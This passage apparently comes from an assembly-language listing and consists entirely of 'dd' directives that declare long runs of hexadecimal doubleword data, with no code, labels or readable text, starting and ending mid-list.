74E8C109h, 97C882CDh, 2AC48580h, 0A6FBBC81h dd 4E87D5D0h, 0F7D48058h, 94010B97h, 568116D9h, 34355380h dd 0EE6E830h, 505A271Bh, 4527F46Fh, 2B69AFD5h, 80FE68A0h dd 0C49B52A7h, 2840C420h, 0C864A09Eh, 8A2A806Dh, 53B99D01h dd 0C6B1E630h, 0D522B189h, 9EA7CC90h, 0E6006DE8h, 0F48EF5E4h dd 4C1622B6h, 0C445C8AFh, 0E60B1C26h, 0C419A6BDh, 487C6694h dd 0C321F60h, 0A1AF7F4Eh, 6EE15BAAh, 17E7FDF0h, 762968h dd 921C5DA4h, 0F703D8D1h, 0E6A9C0B7h, 58D62Dh, 0D040078Dh dd 97982845h, 80E7991Ch, 0B443BD56h, 5A20D1h, 75CB0699h dd 0EF18300Bh, 0F680C9C4h dd 88641D12h, 670458E3h, 9CD0B106h, 9840B58Dh, 0E62A0800h dd 5C1C734Fh, 0D4DA390Ah, 3D103F94h, 0ED0C0CAh, 89EC59D4h dd 507CCE09h, 0BE9B093Fh, 71B80726h, 0B893843Eh, 622018C7h dd 0FC1648h, 347A3033h, 0E6109B7Eh, 89D022F0h, 0FB460AA8h dd 5A41A0ABh, 7FC09F08h, 1338905Eh, 5DD4F480h, 43D9349Ch dd 0AD0D67DCh, 0CCBD4928h, 3C6B0F20h, 9B009029h, 0EE9880F2h dd 4F055B9Eh, 1A16ADE9h, 5852DE00h, 656D07h, 2869CA0Fh dd 0D0C05D80h, 0E2CE140Eh, 0C607C357h, 62ADC1A7h, 69300070h dd 149088D5h, 0C91AE92h, 0C08D8131h, 1D51107h, 6F343583h dd 5C51B8C1h, 3DD07ED0h, 9A0289C2h, 62EE91C4h, 9528E860h dd 18AC22E9h, 12E8F743h, 190E6FCh, 9796A0C6h, 45D0CAD1h dd 0B8605494h, 38BE0A19h, 0BD272028h, 0A800839Fh, 0AEA7AAA6h dd 0A1428190h, 31C0769Eh, 9844B0F1h, 8B9D449Ch, 0BE2600B8h dd 0E80B0C96h, 0C1881248h, 7FE16718h, 405DAC24h, 970028C3h dd 204455DDh, 8838A9E6h, 0FC90B3FBh, 0D27F8812h, 0BECC8844h dd 0B02690C8h, 92D1160Ch, 0C0881F8Ch, 75947151h, 0DB20A6D4h dd 3ED11025h, 44592716h, 32A609D4h, 80D8BD88h, 0F088CC93h dd 0DE0BC0DBh, 88929F20h, 5AF83820h, 544C4015h, 37B6684Ch dd 179C0D00h, 0B9B0EC0Ah, 0EAE1CFAh, 0E558C108h, 0BF884C8Fh dd 672E84E0h, 3894A3CCh, 5F349809h, 6220A8ACh, 0D8BEAB26h dd 80D3CF81h, 0A0832514h, 3A29D198h, 585CC800h, 4D38A6F3h dd 44D2182Dh, 82281845h, 0BDCA1B01h, 8803CDE4h, 27A8402Eh dd 97300146h, 4931091h, 0FC004056h, 876798Fh, 0D6B87B2Eh dd 2E041C4Eh, 40AA1805h, 9D00DF35h, 4222636Ch, 5BA767F7h dd 0C4E840A4h, 0DAD3EAFCh, 40E0E61Ah, 4A28E658h, 1F648858h dd 8B4D0890h, 0C74E0020h, 89830445h, 0C8F0C805h, 81B89103h dd 0E4AAE2F8h, 30550B4Ch, 0D818EA4Eh, 21D07DC3h, 154019Ch dd 2F05B52Eh, 0B12CD464h, 49DB00D0h, 7194F567h, 0AC80023Ah dd 0F7805CA3h, 0C9898EB1h, 4E2C0087h, 97DA3AE5h, 0B378FA51h dd 1295CD03h, 0F85A588Dh, 4F6876h, 51D4A60Fh, 28B51DB8h dd 0BC838700h, 90DF5C4h, 0FE5802A5h, 0B2465B6Bh, 0F26338C8h dd 58601082h, 9001978Eh, 229F4430h, 6E24703Ch, 560F5047h dd 804D02D4h, 9004692Ah, 961D0038h, 9152D1h, 0E6A8F980h dd 58CE6362h, 0D0BD05B5h, 9CE4BC44h, 0A8A0804Bh, 403934B9h dd 0C13E087Fh, 4CA849F1h, 17DB2240h, 44241FC9h, 0A40B1B40h dd 0A802318Ch, 4F80ADACh, 26A0E569h, 39E6C188h, 6018A67Dh dd 609DE300h, 7EC98C0h, 7E76289Ch, 8C2EA2EEh, 1C860960h dd 0C5EA2A0Eh, 6006E0ABh, 28B7F0h, 0A317E79Ah, 0C7DC4E69h dd 9649D401h, 2EE692A8h, 0D221C424h, 0B05800E1h, 0DD26FA47h dd 4081949Ch, 5B0145F7h, 4A466FEh, 4ED1EF60h, 0D89C8053h dd 5230E67Bh, 0A081B10Ah, 0C1BA247Ah, 3812B8C8h, 0D0341197h dd 4E8D274h, 0FCA584h, 0ED054E33h, 61EC009Ah, 0A0938328h dd 0E61813D2h, 23583CB2h, 0C9489CB5h, 7B761880h, 0C902220h dd 83E86700h, 0FCA8FAA3h, 3A811239h, 270376Eh, 0ECA0B6EBh dd 17592005h, 0DD1D517h, 9491F8A4h, 0E2978950h, 84482C84h dd 0F08CB548h, 0C8961CC4h, 1CFDA114h, 7E0CB175h, 1225686Fh dd 32EE2990h, 0D110E1DCh, 13892D4h, 0A76D78FAh, 0E9E69D3Bh dd 82209474h, 7C08BC4h, 5C06B868h, 1BF5F8B1h, 201FF0D1h dd 8AE6A2EFh, 7C2C08DCh, 0D8CC28C5h, 96D4B266h, 4382E2Ch dd 126A1C01h, 0ED60A080h, 671FE0B9h, 0CA2DC07Bh, 0A6C834F8h dd 33B32080h, 8E10C28Dh, 7D301FC0h, 0C91C378h, 0F11040A4h dd 50E9BE02h, 60C2FAD8h, 0C482DC3Bh, 15D8B8A1h, 5D038B4h dd 9D4081B6h, 89BD848h, 620BB205h, 33D014BBh, 0AE50C27Ch dd 8294A181h, 81095838h, 896FC30Eh, 6883FDE4h, 0C34A8A29h dd 0C8CF32D1h, 9E779CA5h, 90BF7930h, 0B5B2803Dh, 5E300C01h dd 0DD62F597h, 58CBCDD3h, 90415C3Ch, 149F4064h, 10D48971h dd 1F44234Eh, 0A48B2027h, 0E20BC714h, 2CB91882h, 0F077A0C4h dd 0D1634804h, 0DCB2DF30h, 268E7100h, 0BE091634h, 2CAD6600h dd 0AF9AB187h, 94FB5856h, 1EAE533h, 0A9F438B6h, 0E2BE618h dd 9B41280h, 0BC657B10h, 0F1001CF8h, 895E73C4h, 3F149907h dd 0B2981FBFh, 22F038A8h, 2659B080h, 80B88C80h, 0AB81B99Dh dd 66587195h, 79DA0320h, 0E0EC88FDh, 849AC768h, 94082849h dd 0E520024h, 1E198DB7h, 7A300304h, 0AE48B89h, 98AEFCE0h dd 2E9FE800h, 8629CE82h, 477F00C9h, 0B4146040h, 97EC90C0h dd 0E6284504h, 78905E93h, 6B17986h, 2C80626Bh, 0D125A9C6h dd 0F4F0D038h, 7FBB04AAh, 0C80E8093h, 0A54406B4h, 0A3BD1CBEh dd 0B8B5C499h, 0EF28F0C6h, 200347E8h, 2F80F99Bh, 0DE390078h dd 0B133E206h, 10C0ACFAh, 0DD6F566Dh, 847F2487h, 2DFD873Ch dd 0BA851095h, 962E535Fh, 0E6058E5Ah, 0F0CA5740h, 96ABCA12h dd 0F901D0D8h, 1829777h, 0D023F0FBh, 10202A2Ch, 62245244h dd 6A1E8018h, 0C3B8CB50h, 238D667h, 2B57E3CEh, 0B4E41398h dd 0F4B22DE0h, 0A230E6E8h, 0E85C1808h, 0D1C9127Bh, 91588675h dd 2BD2C27h, 4084AB80h, 0B604801Ch, 0CB600AD0h, 800753F4h dd 9E566A50h, 57E401BFh, 4FC46728h, 0C1622606h, 0A98400D4h dd 0DA4CC7F8h, 0CFFF2CC0h, 4ECB01DFh, 719031A4h, 6C0404F8h dd 0C2076D03h, 7ABF2082h, 619F5FC1h, 0C8936FCDh, 4C7CCA45h dd 0ED210260h, 0C0897833h, 2E98608h, 5292D68Fh, 14A0052Ch dd 0D18A37ACh, 508C4C00h, 0C68B31Dh, 573906BEh, 8019D680h dd 2694974Ch, 13274884h, 0D400070h, 0DB1287FAh, 4E03E103h dd 0AC8097E6h, 1B380A96h, 2C982EADh, 729ABFD8h, 0BC83A869h dd 582591A7h, 1B483FFh, 8852CD2Bh, 405AD809h, 94B362DCh dd 0EFCCA46Ch, 831141Fh, 0D20DD802h, 0AB0F0442h, 512892CDh dd 46E40824h, 6310711Ah, 0AC88E414h, 73BA0E81h, 0EA0B8063h dd 0DC985044h, 2A02FC87h, 51B27067h, 0B69180C8h, 21B74D0h dd 11E68E09h, 0F034C410h, 10156720h, 0AC6502ADh, 9B302C40h dd 0B1A8CC0Ah, 0F81D8898h, 0F85C1325h, 26A27773h, 5C2665h dd 0C40B2231h, 97A12E5Fh, 7C40D2F6h, 0F2004F5Ah, 8DB88485h dd 1EFB29h, 58685378h, 1B54A6FEh, 1D08058h, 5A2788DAh dd 0F8A0F8C0h, 0E62F0B08h, 0D8227C3Ah, 5F008A2Bh, 1D661550h dd 4E92CE79h, 9549251Eh, 60E0880h, 0E30058AAh, 616A538Fh dd 24BE429h, 8009C082h, 88C8466Ch, 580951D8h, 8045EEE6h dd 2FFE9A86h, 1BE1014Eh, 0A863FD1Ch, 0DF09E1AFh, 0CA561116h dd 0AD52BC5Eh, 2ACEE040h, 787007C4h, 9C33005Fh, 0B2FF9917h dd 56485AA1h, 0D4FA3E18h, 0E05F80DCh, 52969402h, 12A876F1h dd 8A0C1620h, 253070DCh, 302A6889h, 5D660E44h, 541D63C6h dd 102FCB5h, 0DF19BDFDh, 95C010E2h, 46030BC2h, 68032A24h dd 0EAD1C055h, 9AC81F4Ah, 0DC60C037h, 300A5853h, 29CC1500h dd 0CE33D472h, 3CC8BE08h, 40B2E5AFh, 58AB4448h, 5BD98018h dd 5DCBFA0h, 2BA7310Ah, 0C07C8526h, 0E910C450h, 590048BAh dd 0CC529D24h, 0B867B2C9h, 0D07E61F8h, 2CB7F6D8h, 28149618h dd 94C096A8h, 0B7BD7BE6h, 96354802h, 0A4ECCCE3h, 0B6006EDCh dd 0F34C5BE0h, 10FDC3A6h, 7B165DE5h, 909A38E0h, 0D6075805h dd 0E8819277h, 0EC280524h dd 17E30A1h, 6C605BB3h, 9005483Bh, 85F6BEC5h, 8128F010h dd 594840h, 9A294D09h, 0CEFE1AF4h, 0BD09C37Ah, 2371E73Ah dd 88B51F58h, 0F02996h, 0B35EA56Ch, 28C205D8h, 6A4B5C9Ch dd 0C574E2A0h, 0D19883ACh, 0B81E2E02h, 0D6C0B92Ch, 0FADB5856h dd 83B804C0h, 0D01DF0D1h, 0DD4E7BA0h, 944BC894h, 82E82008h dd 549D6D0Eh, 0D1C09F0Bh, 7FAD99F7h, 7C7E3080h, 0CBD8720h dd 0C824EA00h, 4FFDDC69h, 99E9013Fh, 0D84779CDh, 0D4F8C2D1h dd 0E6B2FA04h, 5CD0A090h, 7FC6DECh, 0E7583494h, 74BE3161h dd 0B0E1C2A9h, 23118962h, 0A0444CBDh, 0DC91E730h, 3BDEDEA1h dd 544838D9h, 2F9CB870h, 689236ABh, 202A4CC1h, 88BCB6A0h dd 0F04CCC26h, 0A844B328h, 5BD17F70h, 0DDDCC38Fh, 0DE4D1018h dd 4A4E7621h, 0D78C23E0h, 0E2490B4h, 0B13B702Ah, 80EB8579h dd 0D0B45C4Ch, 830200ADh, 44823024h, 2605C7B7h, 9A2FCBCEh dd 0FE60807h, 9F9158FCh, 81B25480h, 60C7A110h, 509DBF80h dd 0FD07B439h, 90375316h, 0E62EF099h, 0D444C6A2h, 6CC2884Ah dd 0C53CF24Fh, 0F03D8770h, 9FA307Ch, 1D0CD779h, 0A8FEE31Bh dd 73800C5Bh, 0FDB8AA02h, 0CA14BB0Bh, 0AF3CA08Ah, 71F0932h dd 0F1C05141h, 91AA32B7h, 9E652C60h, 58A0A800h, 264BFDF9h dd 7DC98A2h, 0FE8CE554h, 80DC6A80h, 2AAEFD0Eh, 0B6EAD192h dd 7AE8A4A0h, 30B9C903h, 0C8FA6711h, 0C04EFC80h, 585407B9h dd 4F0594E5h, 0C2D23B5Bh, 0E16084A1h, 568273C3h, 0E118E0B4h dd 0EE3610C9h, 0F769DE07h, 0B6C7F8D8h, 0E01C4B9Bh, 690F0DEFh dd 0A491A896h, 61D1C0D8h, 4C608D65h, 0DCA884C4h, 0EE919500h dd 0AB0C312Bh, 5B7903Ch, 876733DEh, 0E4A0DCD5h, 60214C9Eh dd 28EBF000h, 0B85B0498h, 7A70EE58h, 76921A03h, 0DEBD8068h dd 0E089858h, 840DBCF7h, 0A88D5904h, 9C6092BCh, 0B158CC67h dd 0B469CDCh, 2CE4525Dh, 0B304E920h, 0BED38138h, 0F4392B58h dd 9100A820h, 4615EBAh, 1E32ED23h, 288729Eh, 0FACDD201h dd 0B583BC54h, 0D2EEEDA6h, 816237h, 2B159108h, 0B2251FBAh dd 0C7400BC0h, 9F0C7C80h, 58A0ED26h, 2F00CFCEh, 1AAD497Eh dd 4F2995BDh, 56B844EAh, 0E798C1B4h, 0A733015Dh, 5A9187F8h dd 7FA043C8h, 80C4F7BAh, 0E5863FE8h, 16C00D00h, 464C54B4h dd 0BD2A06F2h, 0F826B6E6h, 0D0FAC92Ch, 401FE00Fh, 9348F45Dh dd 0FDDE26E6h, 0A48C230Ch, 1C3E02D8h, 0CC881E6h, 0B54F9523h dd 9028F03Dh, 0F3C80112h, 482C5D64h, 3AC3A30h, 0D471929Bh dd 0A9B5E260h, 0E298B3E0h, 4D45CEAh, 742DE6h, 0DD3B8A29h dd 980A0AB8h, 0C09EECh, 0F5FAA91Ch, 0FD00D04Dh, 5F419727h dd 1471F160h, 8C9433D9h, 0AF63C30Fh, 9DE89823h, 43521181h dd 0A14C2DA8h, 4E1DEA0h, 0D689E9D1h, 1F16E070h, 2404B58Dh dd 9C0009AFh, 0BD19A907h, 888CDC00h, 53B20CABh, 754E0572h dd 900E94D1h, 5B339820h, 0CE05D602h, 89803041h, 3258A508h dd 655A48B0h, 0B8F0A00Fh, 0D64C0188h, 0CDE72C9Ch, 0E0FDF024h dd 6984246Bh, 0F03D0014h, 0F7D836A3h, 0BE31D119h, 5C715670h dd 0B73C06Dh, 0EF4C2C87h, 304260C6h, 35810h, 0F5619A0Fh dd 6184A1B3h, 462A3040h, 32C031FCh, 15921680h, 82A80420h dd 79C3A3E6h, 0B5940F10h, 0C8E39991h, 80D99A09h, 88747431h dd 0CB37AC00h, 2353D4CFh, 0DD050F4Eh, 0B8896C46h, 0D0C99081h dd 0FD87F232h, 20ED3009h, 0A748409Eh, 29099C9Ch, 0A0547095h dd 3D2A51D8h, 80E1D2E6h, 0E8DE3813h, 0B05CB8B6h, 48700E4h dd 0D89FEB66h, 0EF2A2801h, 0E6300908h, 1453174Ch, 0F4012D16h dd 0C85604D1h, 9588E089h, 6712CC58h, 30C975BEh, 1385483Ch dd 0F2A8D27Bh, 2C38B4FCh, 962D2CFBh, 139829B0h, 842CA0h dd 1F1D7FDh, 1971AC84h, 0A6E2E618h, 0B0772051h, 88A49938h dd 2C1F9192h, 84900913h, 4CA3C5BEh, 0B814AC99h, 84D2F48Eh dd 0DB818334h, 3C8D684Bh, 3C8BAC64h, 0B44E87E9h, 0EB406288h dd 2E64B67h, 0FB42D1A0h, 535F7860h, 0C93DE00h, 45AECDF8h dd 91902FE1h, 7D8849h, 496CB6F0h, 9909E06Eh, 84718F71h dd 9CEF1B8Ah, 1172A20Ch, 984CF0EEh, 0B82D1D1Ch, 1CC813F6h dd 2494663Ch, 0E2B0802Ch, 5AC800Ch, 9F8EF203h, 5FC0FD1h dd 73EA8198h, 54E8A4AAh, 0CF6D8002h, 42908EF1h, 0B24593Ch dd 0CC40B51Dh, 8B9D4CD1h, 0C10C63E8h, 28A7CDB8h, 4672A846h dd 0B730F164h, 0AE0328A3h, 0B352883Ah, 0EF01100Bh, 0C0302265h dd 36780C67h, 5CEB6A00h, 2FD80A5Ah, 0A37D009Bh, 30A68CEEh dd 0E60E5857h, 36C16BC8h, 82F294C8h, 90090056h, 2604DBBAh dd 286718BCh, 4F38C338h, 7E808CD2h, 0B890203Fh, 0FF18286Ch dd 214824F8h, 0A04E0060h, 34982909h, 0C04244Bh, 7100060Ch dd 0F6CC80E1h, 6EA8FCA8h, 2A7C9095h, 0D10023Ah, 0E103E986h dd 5A12F2E0h, 27D83E01h, 7A918A7Fh, 980212Fh, 0F001054Bh dd 0C29DEC3Fh, 6A111070h, 7D919BEh, 25ADCC7h, 30F081BBh dd 70C8974Eh, 0C3992D2Eh, 0BC2E34A9h, 5859AD82h, 63A924C1h dd 846700F0h, 0D16F05AEh, 5CF4AAC0h, 65702ED0h, 968B8D8h dd 4025E632h, 0F19180h, 4A5C3CD4h, 29179BECh, 0AD3F15FCh dd 9D9400C0h, 602ADB61h, 672B0052h, 85B74EBDh, 0F9D5AD1h dd 0F57D615Ch, 0E6D02AE5h, 907E4F15h, 308E723Ch, 6587403h dd 0EBAE483Dh, 0D750B8AFh, 0FA370E67h, 0A86041FBh, 68E0D18Eh dd 90B1B983h, 0FA7843Ch, 0F7284033h, 1CCDD19Dh, 805120C4h dd 0AC437984h, 88E77208h, 0F9E2898h, 0D4EB4D6Fh, 8E66D080h dd 2062A614h, 7585D1D8h, 6C200Bh, 997C9627h, 0D180A468h dd 8F2881AAh, 31027F34h, 0A8A9119Ah, 4270C2B6h, 40145C0Ch dd 0BEC2F051h, 98800D09h, 4ED40103h, 0B8ECA0DDh, 596C92F3h dd 1F2EB0C1h, 0B48B1724h, 4E40DB74h, 0ED792ED7h, 23DF00A0h dd 2854C1ACh, 0A006E618h, 32808EA1h, 95B8F944h, 69CC76h dd 11720734h, 0F0FFFEABh, 110662E2h, 34E1BEB8h, 0E6788C99h dd 7AD0E117h, 792C90D1h, 1AC700E9h, 80EF6EAh, 0E6182BAFh dd 0B4280CCBh, 0E7613259h, 344BDD2Eh, 98189790h, 50000B74h dd 0A990AFC0h, 27482FFEh, 7804A4DCh, 8B64C1B8h, 8587D8Dh dd 4285080h, 0AC8718E6h, 2C0202F4h, 5E4E9967h, 8C3045A4h dd 3213D2E4h, 901796B8h, 0F884FC82h, 0C82D4B10h, 80F6711Ch dd 67EC0554h, 18760E2Dh, 3C493064h, 2FF915Bh, 4472312Bh dd 0A48F6A11h, 0D09DF2E0h, 0B871F9C8h, 1204A65Dh, 10A0BF80h dd 95712C8Bh, 87916480h, 5F031888h, 0AF31980h, 0EC298A28h dd 728F4FCCh, 0B99C32D3h, 0F70B145Eh, 1F0073Fh, 0B0E263C5h dd 8216F456h, 8680214Ah, 0C3B90189h, 40D43424h, 3B003104h dd 29870BA3h, 0E473C58Fh, 84B869h, 0E2598AB5h, 0CB4B30B9h dd 8B851E8h, 83C0C202h, 0A2F43FE6h, 0C933DBC0h, 2461C8A0h dd 4B6AC34h, 1DC4B2A6h, 8120F060h, 1C30214Bh, 124B4E5Ah dd 71E6863h, 59B713C4h, 0E856F909h, 94C2E824h, 0B8307BACh dd 8959F817h, 0D2C33144h, 821C4452h, 206DCF4Dh, 8E11770h dd 0FAAE126Bh, 0BDF000A6h, 8844495Fh, 99B68730h, 6D2CD1F2h dd 0E04938BCh, 98BE8B5Ch, 5084542Ch, 0ADCC5Eh, 3CFDA444h dd 0AA582941h, 9FD48707h, 0FC59F00Eh, 0A5262BB2h, 661A2099h dd 5178C458h, 3862244Ch, 584C923Bh, 93C5A2Eh, 88586787h dd 0AD08C001h, 2C46B37h dd 0EB79E860h, 5BFBFC50h, 45C49C4Ch, 48C49802h, 0CAA50313h dd 28A98844h, 28C0620Ah, 0C71D203Ch, 50B5971Eh, 23A0C609h dd 0C6A3D158h, 88BF17F8h, 9340C040h, 6C9428B3h, 69A5D84Ah dd 783C2AACh, 486915A1h, 0C09679D8h, 13672A09h, 96500254h dd 0BD77F431h, 7FB0C1h, 0BED5041Bh, 0B0C812C8h, 0DA506900h dd 181CC188h, 0B4E4861Bh, 0A282742Eh, 58810847h, 31527C8Ch dd 0BF78CEE3h, 1B3893EAh, 1C226008h, 0B88B15ABh, 47095800h dd 0B5D2BD50h, 90E02E69h, 6EFF1A0h, 5A82E9A8h, 0C04BC92Ah dd 0E1586081h, 0B82F5DF4h, 0ACCC48D3h, 680E44Ch, 9B9AE4DDh dd 0AB6025E0h, 64E62630h, 1A80C012h, 94F89FBh, 62501158h dd 0D0B03090h, 2E71E02Ch, 9D832D0h, 641A08F8h, 7B2EC880h dd 280173BDh, 2F615292h, 0A06CC795h, 8377C8A2h, 0E0942C80h dd 0E9521FAh, 4E30C2B8h, 79EA801Fh, 0E4862880h, 0D9C98900h dd 376B189Dh, 3E5FB092h, 7412D096h, 2D00001h, 0A86287C3h dd 0E07B8678h, 7E2811C5h, 0D1951402h, 526C682Ah, 83FD2E58h dd 51AF8134h, 34A9E62Eh, 0D324D14Ch, 0EF053076h, 0B8C4C380h dd 0ED27CC0h, 9EFC0729h, 0B1158228h, 0E1E6DA33h, 0E6C83554h dd 5B036854h, 818BD603h, 5874D538h, 5245F11h, 0B920F8ACh dd 6731C1CCh, 0A83C5881h, 4E640C9Eh, 0DA4BA991h, 7887CD6h dd 7E3EC999h, 93C41456h, 0F18148F8h, 30013A8Eh, 25DAAE2Dh dd 0A2C8C28h, 629CAEECh, 0A48AB51Ch, 44B24998h, 0B602C8F0h dd 19C8058h, 41F076AAh, 81C532E6h, 1260F7A9h, 0C2D9524h dd 2D54B0A4h, 88974024h, 78814842h, 52A894A0h, 6CAD9051h dd 9F6D2088h, 0FE4F1500h, 8428B1F3h, 1BF5032Bh, 0A0CE4E21h dd 0C08E7EF9h, 50B6922Fh, 71CE389Ch, 80F3E16Ah, 4C635732h dd 81247C78h, 0FA74208Ch, 186BD40h, 34032A15h, 6F435B7Ah dd 97288000h, 277B57B3h, 0CE0CDE4h, 0CF00750Fh, 0DC918CA3h dd 5D50E630h, 35FB4CEh, 0B71AD1A8h, 0C00BD027h, 0B2554E0h dd 0D585528Ah, 141D5859h, 5C891BC0h, 0D78328h, 0FC184E56h dd 0E9B302Ch, 0D892E107h, 60BD5DE6h, 0BC13947Dh, 136CF362h dd 14C851D7h, 5DDC01A6h, 2FA4B01h, 1FA43828h, 58CBB3BCh dd 31A585C0h, 9D80807h, 5B54FAD9h, 297C908Dh, 3FE9C293h dd 0BA75BC71h, 34261081h, 70565E84h, 4617FA14h, 3907B971h dd 0B180B7F7h, 919DFD67h, 0AE68870h, 4BFC60ADh, 774F2DD2h dd 14D17090h, 0C19461B5h, 1A4C167Ah, 78408070h, 7A60F1E6h dd 5058B540h, 1AD3747Fh, 50299F4Bh, 902474D2h, 583514D1h dd 79098067h, 829462F8h, 63F91C48h, 200242F6h, 0A180D192h dd 3D0F09A5h, 7CFD5981h, 2A7ADC29h, 4F6DE21Fh, 0A50BB42Ch dd 97BC0108h, 0A7A31D1h, 1D90502Ch, 0A9990F5Bh, 8292F89h dd 0F79E7A80h, 0A604234Eh, 84678804h, 2C707CE2h, 81045106h dd 12C1F603h, 64003145h, 7D0F295Ch, 9A48D1ECh, 0FE488010h dd 4A420836h, 9F5C0B76h, 0A81C3871h, 20219796h, 1C64C0D1h dd 34AB48FAh, 0C76E883h, 6870CEA2h, 9CE4E709h, 72438EF8h dd 11E5780Ch, 10B54823h, 0F8089496h, 0F6507FD8h, 0DD4C2ADCh dd 0C2285424h, 92308114h, 0B8A49D70h, 9E73FBC0h, 58B701CFh dd 0EAD75BE6h, 60F9FDEDh, 3700BD24h, 0BCA645B4h, 0EA4C357h dd 0B30D60A8h, 81EB6805h, 969024A4h, 0C490B094h, 9EA63067h dd 0A4640F4h, 96692D88h, 647E7088h, 0D199A8BEh, 37CBD70h dd 9AD081AFh, 959288Bh, 520ECD0h, 5EA602B0h, 9F40D545h dd 74826C64h, 82BBC451h, 5B4A96D2h, 0C804E080h, 39FC3AD1h dd 0B6B4495Bh, 0C351C901h, 0C18075F9h, 9186CC4h, 73B416D8h dd 0BE360DCCh, 8A8C24D1h, 13080452h, 0C0F6A14Ch, 0DC90044Ah dd 0D6C4EDCEh, 64A0F452h, 0CDDE2780h, 0F67078C0h, 64905F83h dd 13B4ECBCh, 0F4200C58h, 12EF1C9h, 7BDFDCC6h, 26056B67h dd 0FA1316F4h, 5709E0A8h, 0A70998F7h, 4C1470D4h, 308D9224h dd 0C472DBF1h, 3E1BAD38h, 0EDE090F2h, 4C4B9591h, 5C3130DDh dd 0B734053Ah, 3950E35Bh, 6A092E17h, 448F2C3Ch, 7AE80BC9h dd 14E1CB4h, 0F5D38E81h, 58B87E06h, 0DE0ABC9Eh, 0A0BC8CB5h dd 11C81CE8h, 440309B4h, 8B19E4C8h, 8106E117h, 9F55D801h dd 5020C1E9h, 918A06A9h, 0B06440D1h, 8CFF3701h, 0FC2BBF78h dd 0D091F16Ah, 0C6308834h, 9F9E9F5h, 73E7007Eh, 0A5A4E629h dd 0ECB86D47h, 91121500h, 0B320ACD8h, 572B0046h, 3926C232h dd 7212244Ah, 0E02131EFh, 21CD3706h, 1EB8C30h, 24A143BAh dd 7EB8FFD8h, 4C203C53h, 9DEC605Ah, 0A4F9E01Ah, 0F97EDC20h dd 0DF20B881h, 14C0742Bh, 0F08A89E6h, 0D8FF9D03h, 4582A1D3h dd 8898A4D0h, 70DB220h, 0B4C87315h, 699302EDh, 74F2AC4Bh dd 0D41C5702h, 185FE69Ch, 20671B40h, 68A4BEDEh, 0FF922h dd 0BF81AB88h, 5A270150h, 19E630C5h, 0B9288CB8h, 707F67D4h dd 98B6C332h, 5BB23800h, 7BA7094Fh, 19973ECh, 91D36EA2h dd 7FFE80F9h, 0D39E540Bh, 5E2990ECh, 0BC4E848h, 1C25A38Dh dd 4DC8B203h, 8B061AC8h, 2CBCB488h, 0BF80452Ch, 510B7B20h dd 60E18480h, 0CEF2A78h, 6DBEE5F0h, 0A3258258h, 776498C0h dd 0EC4700F0h, 2DFC7CD8h, 32989C2Ah, 8CD08818h, 3C3CE699h dd 448850Ch, 0D7DE2C02h, 74EAD89Bh, 9806080Bh, 0BA00293Dh dd 66DD9C31h, 719D40Fh, 87B849EEh, 0E6D700E9h, 90C09A3Fh dd 0E5BDEF13h, 822803BFh, 4B80EDC4h, 265638B8h, 0E002E625h dd 0A4B12150h, 865339ECh, 0CEB5F480h, 0F6D85739h, 8C1FACA0h dd 144CD05h, 0D4D89BA1h, 4E7D40CEh, 0E52E001h, 0BD8841F0h dd 0F60D034h, 0A328B8F9h, 0D577CE0h, 2302054Eh, 48EAD1CDh dd 0B8C859A4h, 402E1516h, 0B4D8E7ACh, 720446C8h, 0DBCE30E6h dd 0D2023C81h, 0A08EC047h, 0B30E6054h, 528CF9E8h, 2AC81779h dd 54B6C0A1h, 0B60FCC4h, 0C87DFBEh, 289873h, 31B66436h dd 0E0D782B1h, 34A2CE4Ah, 3F07EF00h, 9DE69C93h, 8064BC04h dd 4BAA75F2h, 1C469BE0h, 6D53C30Ah, 0F100CC7Ch, 0B46FE2B8h dd 26590772h, 49CBE5E9h, 8021B424h, 7428557Eh, 0B660C809h dd 300C00D7h, 2E17F07Ch, 43892EAh, 0E2DC5654h, 0E8945EF4h dd 1DA83CB0h, 0D3982483h, 0A73C0CE6h, 8113C111h, 70C87E90h dd 21054FF2h, 0F15EB38Ch, 30306BE8h, 959F095Ah, 8C81544Bh dd 5418A4C4h, 1540301h, 0F84CC159h, 22735B8Eh, 2CF907F0h dd 0F0DAAE42h, 5EB82DE4h, 0D7D13018h, 2468C241h, 0F5668082h dd 8C803C5Ch, 5BA021C3h, 9B31002Bh, 0BA655363h, 4601A920h dd 0E63350E1h, 2032F8AAh, 8009C427h, 5C5070EAh, 0AF80590Ch dd 780AB9BBh, 80B15B5Ah, 58E9AC4h, 917F9504h, 0A0C128E1h dd 0BC002F87h, 5C07BAD3h, 0B302D854h, 2C12784Ah, 0FCC6E0D2h dd 89708834h, 0EDF58204h, 0AE0023ABh, 55EE82h, 808F5158h dd 0E6160926h, 54A079ABh, 0DBC21203h, 81B0785Ch, 0A0C87FE1h dd 47CFF901h, 20EBC0D3h, 0E77C4EEEh, 0BB036AE4h, 0C4D18A12h dd 0BB0002Dh, 819D3DDEh, 0B0B7A74Fh, 229FD4h, 0F40AF136h dd 32FC79D8h, 0BA23C400h, 342667BDh, 0DD970B5Eh, 1484F1D1h dd 0C128AC87h, 0FFE2E62Bh, 0A212E096h, 0EE301604h, 0A598400h dd 1E9BC0E1h, 2BF0B98h, 4D87CEF9h, 10078F4h, 0C931517Fh dd 52BD2E97h, 9CC70FCCh, 0A9EE7960h, 6107D7C4h, 749A236Dh dd 0D1EADAD0h, 0D9A7F591h dd 49822C43h, 30380B55h, 4232AF48h, 0FD0E00DBh, 0D1615F92h dd 9003B7DFh, 0C1F08132h, 4E02177Dh, 0E4D0DEE9h, 3E2CE0C8h dd 2AFE3EA0h, 0D1130900h, 86C08454h, 5E64E627h, 0FCE8250Ch dd 61229E27h, 0F14841C6h, 0DD082064h, 1013B914h, 60020208h dd 0D5C054D3h, 0C0DB832h, 301C0810h, 36AB9100h, 93707834h dd 2BFC3D22h, 5AD8828Fh, 59E75C02h, 8894A458h, 0C45B8B52h dd 80C2E228h, 0A14A48B4h, 5ABF1092h, 2D709B8Ch, 0B8313464h dd 0A8E1289Eh, 38D4263Fh, 2C9DB35Eh, 0C860ED0h, 8B806664h dd 29009431h, 9BEB2487h, 101DC01Bh, 24D41FD2h, 0A01E9059h dd 52B22660h, 42983BD4h, 0F86C1DEh, 0CCF96800h, 0D851D446h dd 37AC34F0h, 8000AB71h, 9790B93Ch, 0BCEC0029h, 0D88698E4h dd 0A82CB5E1h, 0D90024B3h, 0AE5EB6EEh, 98E619DBh, 0EC224095h dd 0AC3A9631h, 0DD4F073Fh, 5C275902h, 40E96502h, 0E0462660h dd 49B49E2Fh, 2A96A4D1h, 0C05F7CA2h, 653E8050h, 58058CA5h dd 50851660h, 